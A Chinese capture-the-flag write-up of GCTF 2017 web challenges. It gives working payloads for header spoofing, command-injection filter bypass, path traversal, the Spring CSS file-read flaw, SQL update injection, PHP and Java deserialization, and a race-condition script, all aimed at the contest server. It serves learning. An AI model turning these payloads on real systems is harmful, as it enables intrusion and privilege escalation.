GCTF 2017 Web 補題 By Assassin [持續更新--抄大佬wp]

熱身題

直接掃描目錄發現了robots.txt

這裏寫圖片描述

http://218.2.197.232:18001/rob0t.php
-----------------------Congratulation!---------------------------
GCTF{ae609880185f1d75}

Forbidden

這裏寫圖片描述

加上

'X-Forwarded-For':'localhost'

這裏寫圖片描述

加上

'HOST':'www.topsec.com'

這裏寫圖片描述

加上

'Referer':'www.baidu.com'

這裏寫圖片描述

本來一陣不耐煩結果到這懵逼了,這是幾個意思???然後學習了一波
在服務器端判斷request來自Ajax請求(異步)還是傳統請求(同步),兩種請求在請求的Header不同,Ajax 異步請求比傳統的同步請求多了一個頭參數。就是如下加上

 x-requested-with:XMLHttpRequest

這裏寫圖片描述

將user-agent改成

User-Agent: Mozilla/4.0 (compatible; MSIE 4.0; Windows NT 5.1; Trident/4.0)

還沒完???

這裏寫圖片描述

繼續改…User-Agent

User-Agent: Mozilla/4.0 (compatible; MSIE 4.0; Windows NT 5.1;.NET CLR 8.0)

這裏寫圖片描述

真是夠了!!!這個判斷國籍猜測是從語言來判斷的,加上

Accept-Language:de-DE

這裏寫圖片描述

真是無語透頂…
看到迴應存在

Set-Cookie: login=4e6a59324d545a6a4e7a4d324e513d3d

一開始一位是md5加密,但是解不開…再看看是16進制…啥的,最後發現是false,先轉換成16進制,然後base64加密,在轉換成16進制,我們構造true的即可
然後添加

Cookie: login=4e7a51334d6a63314e6a553d

終於完成了…

<!--GCTF{Dt24FbREwYJu7P8ekQHEFknK} -->

變態驗證碼怎麼破

這裏寫圖片描述

結合題目問題,猜測是賬戶的ADMIN,密碼是在password.txt中的一個,但是由於存在驗證碼沒法爆破,但是也不能一個個試嗯。果然打開password.txt發現了一個密碼列表。但是我不知道這是怎麼搞的…沒代碼沒邏輯錯誤也沒聽說類似的洞,一切證明還是出題人腦洞大…看看大牛們試怎麼做的…
真是長見識了…去點vcode和PHPSESSID值即可驗證???納尼???

這裏寫圖片描述

然後寫腳本爆破即可?寫了半天不行,直接用burp去爆破好了

這裏寫圖片描述

找到不同的長度即可,然後就得到了flag

GCTF{Qb8HR4pGmScMqgxTSwP7QZmb}

RCE繞過

說是過濾了什麼,掏出小本本看看什麼可以用來着,發現過濾不過如此,換行用%0a繞過,空格用%09繞過…(一開始我還以爲只需要構造空格構造個curl語句,結果並不是來着…)
然後發現還存在什麼繞過

這裏寫圖片描述

然而當時看到的神文章讓我受益匪淺,過濾了cat、head、more、less,但是我們可以用tac!

這裏寫圖片描述

GCTF{ADFAFADSFASFZVASDFADV}

看了一下別人的wp,居然在源碼中…

讀文件

這裏寫圖片描述

這裏寫圖片描述

然後發現存在flag.php來着,然後嘗試一下發現過濾了flag字段,這就有意思了,掏出小本本
這裏寫圖片描述

這個題目後面不完全是我想的,大概的思路是利用過濾繞過提交的檢測!fuzz一發看看什麼過濾了,
這裏寫圖片描述

然後就是路徑問題,之前找的/a/1.txt並不存在,那麼一定是1.txt藏在某個其他的文件夾中,這個只能去試,需要構造特殊的poc

http://218.2.197.232:18008/a/down.php?p=...//down.php

發現訪問成功

這裏寫圖片描述

<!--?php
error_reporting(E_ERROR & ~E_NOTICE);
$key = "GCTF{drthSDFSDGFSdsfhfg}";
?-->

spring-css

google一發發現貌似是一個springcss的漏洞

這裏寫圖片描述

然後如何利用搜索一發,直接利用即可

http://218.2.197.232:18015/spring-css/resources/file:/etc/flag
GCTF{db839442402f5874}

看看大佬是怎麼找到flag的

這裏寫圖片描述

https://github.com/ilmila/springcss-cve-2014-3625/blob/master/stealfile.sh
歪打正着

注入越權

這個題目沒什麼思路,感覺是注入但是存在過濾,而且不失gbk編碼,也不是寬字節注入,不是很會。然後發現在生日的地方如果輸入字母會得到

這裏寫圖片描述

然後隨便試了試%發現

這裏寫圖片描述

源碼中存在一定的提示
這裏寫圖片描述

但是怎麼用並不知道…
謎一樣的做法…大佬們猜測是update注入,但是不明白這個uid的注入點是怎麼想到的,完全腦洞出來的嘛…
根據提示構造uid,還有role覆蓋即可

http://218.2.197.232:18014/edit.php

POST:
name=123123&email=f997552762103d11%40gctf.cn&phone=123123&mobile=123123&address=%E4%B8%AD%E5%9B%BD&birth=11111111&gender=%E9%9A%BE&uid=0, role =0x61646d696e

然後返回頁面得到flag

這裏寫圖片描述

GCTF{9CtyJLHMxkjLUs6qfUM5Cmrb}

學習一波,不覺得簡單,大佬勿噴…

PHP序列化

<?php
//error_reporting(E_ERROR & ~E_NOTICE);
ini_set('session.serialize_handler', 'php_serialize');
header("content-type;text/html;charset=utf-8");
session_start();
if(isset($_GET['src'])){
    $_SESSION['src'] = $_GET['src'];
    highlight_file(__FILE__);
    print_r($_SESSION['src']);
}
?>
<!DOCTYPE HTML>
<html>
 <head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
  <title>代碼審計2</title>
 </head>
 <body>
 在php中,經常會使用序列化操作來存取數據,但是在序列化的過程中如果處理不當會帶來一些安全隱患。
<form action="./query.php" method="POST">        
<input type="text" name="ticket" />               
<input type="submit" />
</form>
<a href="./?src=1">查看源碼</a>
</body>
</html>

然後通過qurey.php~下載到了源碼(看來以後的源碼泄露問題不能老是盯着index.php了)

/************************/
/*
//query.php 閮ㄥ垎浠g爜
session_start();
header('Look me: edit by vim ~0~')
//......
class TOPA{
    public $token;
    public $ticket;
    public $username;
    public $password;
    function login(){
        //if($this->username == $USERNAME && $this->password == $PASSWORD){ //鎶辨瓑
        $this->username =='aaaaaaaaaaaaaaaaa' && $this->password == 'bbbbbbbbbbbbbbbbbb'){
            return 'key is:{'.$this->token.'}';
        }
    }
}
class TOPB{
    public $obj;
    public $attr;
    function __construct(){
        $this->attr = null;
        $this->obj = null;
    }
    function __toString(){
        $this->obj = unserialize($this->attr);
        $this->obj->token = $FLAG;
        if($this->obj->token === $this->obj->ticket){
           return (string)$this->obj;
        }
    }
}
class TOPC{
    public $obj;
    public $attr;
    function __wakeup(){
        $this->attr = null;
        $this->obj = null;
    }
    function __destruct(){
        echo $this->attr;
    }
}
*/

這個題目太好了,正好對序列化什麼的非常不熟悉,正好學習一波
我們需要注意到在index.php編碼方式是php_serialize,而在qurey.php中沒有標記,那麼就是默認成了php,那麼構成反序列化
首先我們需要繞過這個TOPC中的__wakeup,這裏通過可以通過修改反序列化後對象的屬性個數繞過wakeup的效果,構造代碼如下

$a=new TOPA();
$b=new TOPB();
$c=new TOPC();
$c->obj="123";
$c->attr="aaaaaa";
echo serialize($c);

這裏寫圖片描述

我們將元素的個數從2修改成3完成繞過
這裏寫圖片描述

之後訪問http://218.2.197.232:18017/query.php發現存在成功
這裏寫圖片描述

在後面主要就是嵌套的關係了,但是最麻煩的是if($this->obj->token === $this->obj->ticket){這玩意該怎麼繞過…然後看大牛的wp學習一波新的姿勢…
所以在序列化的時候進行指針引用使$a->ticket = &$a->token;,即可繞過判斷!!!
構造

$a=new TOPA();
$b=new TOPB();
$c=new TOPC();
$a->username='aaaaaaaaaaaaaaaaa';
$a->password='bbbbbbbbbbbbbbbbbb';
$a->ticket = &$a->token;
$b->attr=serialize($a);
$c->obj="123";
$c->attr=$b;
echo serialize($c);

然後得到序列化值,注意別忘了改前面的參數個數!!!

http://218.2.197.232:18017/?src=|O:4:"TOPC":3:{s:3:"obj";s:3:"123";s:4:"attr";O:4:"TOPB":2:{s:3:"obj";N;s:4:"attr";s:127:"O:4:"TOPA":4:{s:5:"token";N;s:6:"ticket";R:2;s:8:"username";s:17:"aaaaaaaaaaaaaaaaa";s:8:"password";s:18:"bbbbbbbbbbbbbbbbbb";}";}}

這裏寫圖片描述

再訪問qurey.php得到flag
真心學習一波!!!

key is:{JJj56M3e26Avvv6gnUZ3S4WZ}
GCTF{JJj56M3e26Avvv6gnUZ3S4WZ}

條件競爭

這個題目我還是蠻懵的,因爲之前從來沒接觸過條件競爭,首先下一下源碼

<?php
header("Content-type: text/html; charset=utf-8");
session_start();

$mysqli = new mysqli("localhost", "root", "", "gctf09");
if ($mysqli->connect_errno) {
    die("數據庫連接錯誤,多次出現請聯繫管理員。");
}

//打印源碼
if(isset($_REQUEST['showcode'])){
    highlight_file(___FILE___);
    exit();

}
$user="";
// 初次訪問生成用戶
if(!isset($_SESSION["name"])){
    $user=substr(md5(uniqid().uniqid()),8,16);
    $_SESSION["name"]=$user;
    $stmt = $mysqli->prepare("INSERT INTO gctf09.`user` (name,pass) VALUES (?,?)");
    $stmt->bind_param("ss",$user,md5($user));
    $stmt->execute();
    $stmt->close();
    $stmt = $mysqli->prepare("INSERT INTO gctf09.`priv` (name,notadmin) VALUES (?,TRUE)");
    $stmt->bind_param("s",$user);
    $stmt->execute();
    $stmt->close();
}else{
    $user=$_SESSION["name"];
}
//重置時清理用戶信息
if($_SERVER["REQUEST_METHOD"] === "POST" && $_GET['method']==="reset" && isset($_POST['password']) ){
    $stmt = $mysqli->prepare("DELETE FROM gctf09.`user` where name=?");
    $stmt->bind_param("s",$user);
    $stmt->execute();
    $stmt = $mysqli->prepare("DELETE FROM gctf09.`priv` where name=?");
    $stmt->bind_param("s",$user);
    $stmt->execute();
    $stmt = $mysqli->prepare("INSERT INTO gctf09.`user` (name,pass) VALUES (?,?)");
    $stmt->bind_param("ss",$user,md5($_POST['password']));
    $stmt->execute();
    $stmt->close();
    //判斷用戶權限時會查詢priv表,如果爲不爲TRUE則是管理員權限
    $stmt = $mysqli->prepare("INSERT INTO gctf09.`priv` (name,notadmin) VALUES (?,TRUE)");
    $stmt->bind_param("s",$user);
    $stmt->execute();
    $stmt->close();
    $mysqli->close();
    die("修改成功");
}
$mysqli->close();
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>條件競爭</title>
<link crossorigin="anonymous" href="css/frameworks.css"  media="all" rel="stylesheet" />
<link crossorigin="anonymous" href="css/github.css"  media="all" rel="stylesheet" />   

<link crossorigin="anonymous" href="css/site.css" media="all" rel="stylesheet" />
</head>
<body>
<div class="setup-wrapper" style="">
<div class="setup-main ">
      <div class="setup-form-container">
<form accept-charset="UTF-8" action="index.php?method=reset" autocomplete="off" class="setup-form js-signup-form" id="signup-form" method="post"><div style="margin:0;padding:0;display:inline"></div>

  <h2 class="setup-form-title mb-3">  
  </h2>
  <dl class="form-group"><dt class="input-label"><label autocapitalize="off" autofocus="autofocus" name="name">用戶名</label></dt><dd><input placeholder="用戶名" autofocus="autofocus" class="form-control" id="name" name="name" size="30" type="text" value="<?php echo $user;?>"></dd></dl>
  <dl class="form-group"><dt class="input-label"><label autocapitalize="off" autofocus="autofocus" name="name">新密碼</label></dt><dd><input placeholder="密碼" autofocus="autofocus" class="form-control" id="password" name="password" size="30" type="text"></dd></dl>

 <button type="submit" class="btn btn-primary" id="signup_button" data-disable-with="Reset account…">重置賬號</button><a href="?showcode=1">查看源碼<a/>  <a href="login.php">登錄<a/>

</form>
</div> <!-- /.setup-form-container -->
    </div> <!-- /.setup-main -->
</div> <!-- /.setup-wrapper -->
</body>
</html>

然後可以看到申請新的賬號的時候,顯示插入user然後判斷該用戶是不是管理員.在重置的時候顯示刪掉用戶,再該用戶權限,再申請一個用戶,最後纔給用戶賦權限
那麼如果我們再重置賬戶的第三步和第四步之間登陸就可以了。因爲第四步相當於給用戶降權,相當於是告訴系統他不是管理員

方法一:自己寫腳本

#_*_ coding:utf-8 _*_
import requests
import threading
url_change = 'http://218.2.197.232:18009/index.php?method=reset'
url_login  = 'http://218.2.197.232:18009/login.php?method=login'
cookies={'Cookie': 'PHPSESSID=qq1pcbknl0959hd3ec0fd36s25'}
data = {
    'name':'6adead81c67aa242',
    'password':'6adead81c67aa242123123'
}
def reset(url_change,data,cookies):
    while True:
        html = requests.post(url=url_change,data=data,cookies=cookies).text
        print html
def login(url_login,data,cookies):
    while True:
        html = requests.post(url=url_login,data=data,cookies=cookies).text
        print html

threads = []        
t1=threading.Thread(target=reset,args=(url_login,data,cookies))     
t2=threading.Thread(target=reset,args=(url_login,data,cookies))
t3=threading.Thread(target=reset,args=(url_login,data,cookies))     
t4=threading.Thread(target=reset,args=(url_login,data,cookies))
t5=threading.Thread(target=reset,args=(url_login,data,cookies))     
threads.append(t1)
threads.append(t2)
threads.append(t3)
threads.append(t4)
threads.append(t5)
for t in threads:
    t.setDaemon(True)
    t.start()
t.join()


#_*_ coding:utf-8 _*_
import requests
import threading
url_change = 'http://218.2.197.232:18009/index.php?method=reset'
url_login  = 'http://218.2.197.232:18009/login.php?method=login'
cookies={'Cookie': 'PHPSESSID=qq1pcbknl0959hd3ec0fd36s25'}
data = {
    'name':'6adead81c67aa242',
    'password':'6adead81c67aa242123123'
}
def reset(url_change,data,cookies):
    while True:
        html = requests.post(url=url_change,data=data,cookies=cookies).text
        print html
def login(url_login,data,cookies):
    while True:
        html = requests.post(url=url_login,data=data,cookies=cookies).text
        print html

threads = []        
t1=threading.Thread(target=reset,args=(url_change,data,cookies))        
t2=threading.Thread(target=reset,args=(url_change,data,cookies))        
t3=threading.Thread(target=reset,args=(url_change,data,cookies))        
threads.append(t1)
threads.append(t2)
threads.append(t3)
for t in threads:
    t.setDaemon(True)
    t.start()
t.join()

分開去跑就行

方法二:burpsuite爆破

這個沒啥好說的,兩個線程同時開炮就行,隨便構造一個沒用的爆破點然後導入字典跑

這裏寫圖片描述

這裏寫圖片描述

GCTF{KBnLGG6qR2ZdYe4HbUL8XpAP}

感覺條件競爭就是找到一些可以利用的點,然後瘋狂地碰撞的樣子

Java序列化

首先題目的名字就是提升了,肯定是有關java序列化的問題,當然了原來完全沒接觸過,首先輸入admin抓包看一下

這裏寫圖片描述

返回了一個網址而且後面夾着一堆東西,發現是個跳轉嘛,看一下是什麼
這裏寫圖片描述

然後補課避免地去分析java序列化到底是什麼,查完資料直接上手代碼如下

//user類文件
package com.ctf.cn;

import java.io.Serializable;

public class User implements Serializable{
    private static final long serialVersionUID = 66662333L;
    public Integer id=Integer.valueOf(1);
    public String name="admin";
}
//Main主函數嗯
import java.util.*;
import com.ctf.cn.User;
import java.io.*;
import sun.misc.resources.*;;

public class Main {
    public static void main(String[] args) throws FileNotFoundException,IOException {
        User user = new User();
        ObjectOutputStream oo = new ObjectOutputStream(new FileOutputStream(new File("G:/test.txt")));
        oo.writeObject(user);
        System.out.println("Person對象序列化成功!");
        oo.close();
    }
}

當然這個serialVersionUID 你是不知道的,索性網頁會報錯!

這裏寫圖片描述

修改過來即可,得到了java的序列化,用python腳本來base64加密一下提交即可

paylaod:
http://218.2.197.232:18005/ctfobj/Login?
object=rO0ABXNyAA9jb20uY3RmLmNuLlVzZXIAAAAAA/kvvQIAAkwAAmlkdAATTGphdmEvbGFuZy9JbnRlZ2VyO0wABG5hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABdAAFYWRtaW4=
GCTF{NsyTascaUR73uKd7e5YY} 

WEB綜合












發佈了188 篇原創文章 · 獲贊 48 · 訪問量 30萬+
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章